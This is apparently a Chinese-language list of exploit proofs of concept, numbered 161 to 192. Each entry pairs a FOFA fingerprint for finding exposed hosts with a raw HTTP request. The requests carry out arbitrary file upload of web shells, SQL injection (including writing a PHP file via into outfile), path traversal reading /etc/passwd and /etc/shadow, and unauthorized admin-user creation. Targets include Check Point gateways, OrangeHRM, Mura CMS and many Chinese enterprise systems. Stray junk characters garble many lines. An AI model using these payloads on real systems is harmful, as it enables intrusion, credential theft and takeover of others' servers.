GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
. V; z1 [0 l+ d, }User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
( T# G1 H  E4 ~" H0 YAccept-Encoding: gzip
) o0 q* R; K) ?) t, z) B6 k

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
1 h, ?, D* W, Z5 T0 y$ QPOST /Webservice.asmx HTTP/1.1
: A% B& a& {( ?1 T/ ^6 b% T$ _' THost: x.x.x.x
! I" \* w+ @- y/ L; \3 D/ I% UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
  M1 c4 O- w3 o4 u4 H: p: @Content-Length: 445
( r& I+ F1 U! s4 E; y" \( oContent-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
  J( }" |0 J3 xhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
. T% K/ U1 m1 E+ ?' q2 Fxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
2 B& q: X* v* v8 s<ip>1</ip>
9 z1 t  _7 S3 o$ B<fileName>../../../../dizxdell.aspx</fileName>
& G+ t* N1 {4 X! C<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
9 {( L  v! B' j4 Q3 k<tag>3</tag>
</UploadResume>
</soap:Body>
6 ?# A% `. o6 A) L; g# W) n</soap:Envelope>

' T- L9 u+ I2 b: S! P# V& |
http://x.x.x.x/dizxdell.aspx
" {$ B' y. x  Y5 [3 S1 Q( O, K$ M
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
& _5 ~/ |/ E* Z4 n- MFOFA: app="和丰山海-数字标牌"
6 I1 D+ O* D$ I. R; \9 g6 C7 OPOST /QH.aspx HTTP/1.1
1 H; E" _' d6 x! [$ J# W% g2 `Host: x.x.x.x
6 a7 G" w2 W" X2 X- e& U$ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
' H6 U8 n, j9 L- u1 v) @Content-Length: 583
9 o( V+ `5 `( DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
2 _1 r4 ?! U8 c* [
2 s8 I% A* x+ `0 H5 V; x------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
: u* Q8 f, o+ {: e- u3 RContent-Type: application/octet-stream

) T, }1 q3 V$ x+ ]<% response.write("ujidwqfuuqjalgkvrpqy") %>
& J% @! ?' j7 z0 }8 m9 l------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
" L5 ^! E6 N! h- P9 z- Z' j4 V9 _
; l2 O- h) T7 s7 Supload
& p2 z7 O& U( Z5 z, L------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

) w/ w" I$ V. F4 T, L& K: pResourceNewResponder
. q0 v: M+ f3 d5 c+ O+ F3 h------WebKitFormBoundaryeegvclmyurlotuey
4 q. e8 x1 F# E, u( fContent-Disposition: form-data; name="remotePath"

7 ^( ^: Q5 F$ U1 s8 F7 h/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
" |5 _2 @+ t- Z* x+ T
. X: a; q. o2 k% e+ v4 R2 c7 n  x* r
3 o5 _4 ]2 O0 x) @7 G- ohttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

: h+ [7 k+ |% t2 i' a% [: }0 b163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
) B/ |# }5 \2 VPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
" G* I' j# ?+ @6 B+ ~, NHost: x.x.x.x
9 o$ s' N  D  Z# _# a3 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
- N9 \; ~3 G8 p* X; SAccept: */*
3 c3 N2 E5 h/ i; vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! x5 ]5 E- u. L' qContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

2 X% q7 z1 Q4 q: L5 _------iiqvnofupvhdyrcoqyuujyetjvqgocod
% {! t; u: V" n, p% R7 AContent-Disposition: form-data; name="name"
, P% l2 I) ]! b. s
1.php
2 E# |9 X5 ]$ z8 I------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
3 G8 X8 g$ P6 Z& ^7 hContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
4 s5 Z9 W/ r# p------iiqvnofupvhdyrcoqyuujyetjvqgocod--
# j( g9 X5 h" K: [8 g9 Q8 B+ }
2 R. p# h6 I& C/ ~* P
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 c0 q: s, B( x/ b3 I. R6 A  }3 F# tX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
( H' U0 x9 N8 q/ G! {Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
6 y6 I' T* u' ?% ]: I0 P2 yContent-Type: image/jpeg
6 F1 k- Z3 B' K' T) a
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
! m# j+ x) M/ ]( P* `9 b

- o% N  _+ V! U, ehttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
4 K% z$ _2 T+ F" q
7 F, X, l) y; K6 ~1 J0 ~8 f165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
5 l" ]$ L! u. X! uFOFA: app="OrangeHRM-产品"
* x+ h* J/ k2 u) L3 kURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

& m( @5 @+ y9 b& Q0 z, o+ j- K
6 o' `1 I- R) }6 [  o1 s4 W9 m166. 中成科信票务管理平台SeatMapHandler SQL注入
4 g( b1 {" P0 K! tFOFA：body="技术支持：北京中成科信科技发展有限公司"
* X/ Y+ e7 d% n/ T8 [* Q  R$ O  FPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
) k9 }2 @6 d4 w2 zHost:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
( X% [2 [+ T. H, A8 b; l3 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  ^" T2 _, P0 e7 x4 k3 e: pAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
; T% S; v, I0 [+ V0 p" IContent-Length: 89
! J, u5 x( }. L& F/ U9 `- E
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
- H( c1 K9 @7 {& D0 J
4 v  k& m$ s5 x( e2 g) O( h" \4 |
; U2 R$ i7 O- S5 Z167. 精益价值管理系统 DownLoad.aspx任意文件读取
$ {2 Z- S6 H; V! k. m. TFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
0 f9 y. X& Z, Z9 k9 u7 f9 FGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
, S0 D) Y+ ~- q- K/ z: e3 S0 p# a' WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ U/ L; J% C( T& }Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
" K$ D+ E6 N0 G) m$ j

168. 宏景EHR OutputCode 任意文件读取
6 I& W+ r+ |: c/ FFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
9 }% L: Y0 t  z3 J7 [Host: your-ip
, h2 S1 K2 N8 y+ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
; Q* F: w( i5 OContent-Type: application/x-www-form-urlencoded
Connection: close



' c% B8 I% O$ B' h- E169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
, K0 S0 u" y1 `. W& EAccept-Encoding: gzip, deflate
7 U. V+ {, w2 N4 h% GConnection: close
8 O" v0 O. h' \2 x) |+ R  J# B

+ {: E1 S0 X2 c: x
+ \' P# R9 B0 p$ Z" M# [170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
4 J  M# K" w0 A( A" IPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
6 y# i" ^2 O! I7 D5 @Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: F) Z5 }2 O+ g4 m& L- ^7 K" yContent-Type: application/x-www-form-urlencoded

: v& F& c( V, c# c) v/ `filename=../webapps/ROOT/WEB-INF/web.xml
4 N' U2 P3 a! V6 v  u
. Y& u* t8 U) P* T0 C& @
  l9 k6 U; U; h0 _171. 通天星CMSV6车载定位监控平台 SQL注入
" J+ h0 d  t- G$ }FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
+ o4 t3 O0 S  f/ R' m3 [Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
% i# d  V! b4 Q* |Accept: */*
. k; I0 U! c3 ^/ |- O: ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
$ w5 C& b- C0 n" A4 ]) T" S! ^


172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
& n! k0 `: A5 T, y# NConnection: keep-alive

6 S0 w" }% z2 U2 [7 n
* l: b6 Z$ ]7 Q% `* \& l
  X5 @4 z1 z+ H, k0 v) a173. Check Point 安全网关任意文件读取
7 ~* I6 e7 O3 g1 }7 A6 z( x. LCVE-2024-24919
  L, y; m# t' J8 ]" z4 X% bFOFA：app="Check_Point-SSL-Network-Extender"
) \7 j! H+ ^& Y/ fPOST /clients/MyCRL HTTP/1.1
' F6 p! z% w0 }Host: your-ip
# Z5 [' C- Z: w  }# uContent-Type: application/x-www-form-urlencoded

( [. j( q+ p" j( raCSHELL/../../../../../../../etc/shadow
3 H5 u, H: s- T# z- ?+ b* @


% }9 D9 g2 ~6 n174. 金和OA C6 FileDownLoad.aspx 任意文件读取
, H% |- Y2 k% \; Y: Q$ O6 k3 ~FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ b. A8 X3 O: Q3 TAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

% w+ Y- X/ z; T% c

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
) }+ Y' ]+ {* y6 ]+ K8 J  n1 ~8 UHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( |/ b7 Z5 L0 R) b5 G8 `% A8 X# ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 I0 `# A' ]7 C$ u) Y+ b3 d; vAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


* @! Q2 b) J1 w, F176. 电信网关配置管理系统 rewrite.php 文件上传
3 C, x6 F$ B0 x4 U5 |FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
) R; p0 D8 e# a! k6 w2 C$ iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
3 W/ p" x+ t4 n6 BConnection: close
* m3 H' [! Q5 ~( P; {" v, j. o
* ?9 N5 `& m0 q! h1 ?! I) T) ~------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
, _9 @  L7 y- E( `7 m- [
<?php system("cat /etc/passwd");unlink(__FILE__);?>
( ?) n6 t) a  j& _! y. X. ?------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
- H9 r7 ?( ^# |

0 D% c7 L# O- Y( W( u------WebKitFormBoundaryOKldnDPT--
- g% X' v. e( A  {5 i- h


! ]# M; p0 d& @1 q: }, j0 T2 T& A177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
% D( B+ p/ K" [: z7 L/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
. c0 c" [+ L: P/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
; J% M  j: A! Q, F) J( a2 M/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
* e( M3 S. d4 w7 z) I/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
, a3 f1 A9 S! }' D" R1 N/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
8 m6 g2 p% F, A3 E. M* b! V0 V/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
; ]& T8 Z7 |. a2 S- {' R& V/userLogin.asp/../actionpolicy_status/../ER3100.cfg
+ {7 C0 r+ q( L" m7 Y6 }8 f/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


& E) v9 ]" ]4 w( C. n178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
9 {' \( `% d1 q1 |Accept-Encoding: gzip, deflate
) Q8 X' w9 a7 X% X/ vConnection: close
) [: w: |$ ^6 v2 SContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
- r' E) S- P7 \) E+ K( k-----------------aqutkea7vvanpqy3rh2l
5 c# L& i1 r6 |5 ^0 JContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

" k, N6 {% N# |# X& e12234
-----------------aqutkea7vvanpqy3rh2l--

3 ~$ |" w8 b4 ~* J* [" a4 Y" P
GET /imc/primepush/%2e%2e/flex/12234.txt

- W6 v5 o) A: o% L& @
  g2 @7 w2 p) |  g179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
% _) I2 ]9 }) x; gUser-Agent: Mozilla/5.0
8 W& j) _" s6 I# w! j
path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
# @- b1 V& S' K& Q* q6 G. ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ V0 x1 K2 x6 |Accept-Encoding: gzip, deflate
; N3 ^7 x7 M  q/ U/ @$ bAccept-Language: zh-CN,zh;q=0.9
Connection: close
% C+ W) g, A9 [8 P8 }

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
& V$ F7 ^- c) N7 l, zFOFA："PDCA/js/_publicCom.js"
0 ]% J8 h! y3 JPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
! C* }) z8 b& ?) B! u0 t. u6 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 y5 z7 ?; b$ y6 @- i0 U8 DAccept-Encoding: gzip, deflate, br
/ _% W+ F$ B! u) J1 zAccept-Language: zh-CN,zh;q=0.9
8 ~+ X  a7 y+ }Connection: close
! `$ [* ^% D: K- e$ F7 FContent-Type: application/x-www-form-urlencoded
5 s3 k3 I. {& z$ U" _4 }3 s

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
( B. y0 u: ?5 a( k& M2 C

9 B  V1 S4 B2 q: Y182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
3 G9 }' D1 R! ~$ d% V. ^( jPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
4 F6 h7 q) {& M4 FHost: your-ip
2 J* K- t  e; t; ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
4 A  K) V* i5 ]; w( k+ Z: b+ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- d* z, R( E% K2 r( r, OAccept-Encoding: gzip, deflate, br
( E- D1 Q/ H4 nAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

. p: U! z: ~. l! j: W- @. K! P# C
username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
/ R; Q- M9 p) }* cGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
, V' z: U2 k. k) ]Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
" U) n3 U- ^( ~# C9 H% ^* {

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
' R5 z3 v5 J( B; H  VFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
7 |$ p0 S+ j) a! v4 yHost: your-ip
0 P) U2 r, U! R1 Q3 W+ z6 IAccept-Encoding: gzip, deflate
/ v& V, X  g: ]6 B* BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  t6 }. N  V* p$ N1 ]7 GAccept: application/xml, text/xml, */*; q=0.01
; Y% B8 f( j- u6 vContent-Type: text/xml; charset=utf-8
; x1 F+ u. T! N. H% z+ qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

. f8 z0 \1 k  K, K
" n% @! E1 O! J3 R0 @insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


, ^; |* O3 ], [: z5 [6 K; F5 d185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
6 s* _+ D* R+ r  p5 N. ZFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
& q5 L  D$ d* _5 cHost: host

0 W$ b8 y  i/ D
186. F-logic DataCube3 SQL注入
" D. z' P1 y5 ?5 r5 e6 s- |CVE-2024-31750
6 ?- i$ u: [% u+ E/ OF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
+ k3 h8 k$ A% f5 C8 uHost: your-ip
- b7 ^. N4 L8 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
7 s4 ]6 U5 J9 t& JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
. e7 _, y& O) S5 [* N/ ^+ UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ u3 w/ K5 V5 I3 d! OAccept-Encoding: gzip, deflate
Connection: close
. c- m  p6 q) lContent-Type: application/x-www-form-urlencoded
1 Y$ C3 w( r0 u9 D1 x1 X4 s
6 M& p4 U; c" Oreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
1 M5 S9 B6 N+ b2 G

187. Mura CMS processAsyncObject SQL注入
9 b0 p; H$ V! ~  wCVE-2024-32640
4 R+ C8 i9 k3 {4 N- B" iFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

: D5 I, e5 z0 N, i! j1 n
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
4 V) z' B3 w$ U& `! b9 oGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 @6 W0 H( H7 e; g+ d/ u0 o6 h' mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 g$ H+ d6 T9 y$ l/ T: TConnection: close
) t" w5 d. d' p2 A3 L; U+ D( Q
$ h' A6 a5 }7 ~" ?# e, D" E+ ]
: H3 W" S1 n) P/ d' T' @189. 蓝网科技临床浏览系统 deleteStudy SQL注入
& f$ |5 Z: T- G2 tFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
5 R1 O, K& E% G/ z  ]1 L8 r# a. b% VUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' a' i2 }* \( B% E& G/ VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 h- B+ G( D6 hAccept-Encoding: gzip, deflate
, Z' b$ B* A8 u+ c" VAccept-Language: zh-CN,zh;q=0.9
' g) {9 u( `& ?* ^: y1 `. J$ S; zConnection: close
+ i; t8 C; @4 E5 l& ~

0 A6 ?1 \: \! b7 T. Q; t4 {190. 短视频矩阵营销系统 poihuoqu 任意文件读取
& [( o% ~2 u* ZFOFA：title=="短视频矩阵营销系统"
. r, g% _2 H' \' lPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
& C5 W, z3 f, [' x" KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
$ j5 t; Q" Q0 v. K7 G" dContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
" b: l1 J$ N! x' k* h  h8 H. ~' lAccept-Language: zh-CN,zh;q=0.9
! |* u: @- a. H8 ]! g9 {
& y% H+ }5 B' k8 Ppoi=file:///etc/passwd

/ H0 _2 ?4 W; m" ?& I$ H2 k
( U, a2 [2 h% h' e# i! L2 T! r191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
# m  d8 x, M/ D3 z5 V& rHost: your-ip
, }) h# {3 P3 W# T* B) o# f. OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ O$ D0 u( Q, R1 N5 ]2 ^: R2 Z' b1 g
. ^9 s: q/ v0 J2 {# B, hcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
3 @, M( s- k, I6 V9 S

" e5 S" o1 P5 M! j- F$ Y* ^" I192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
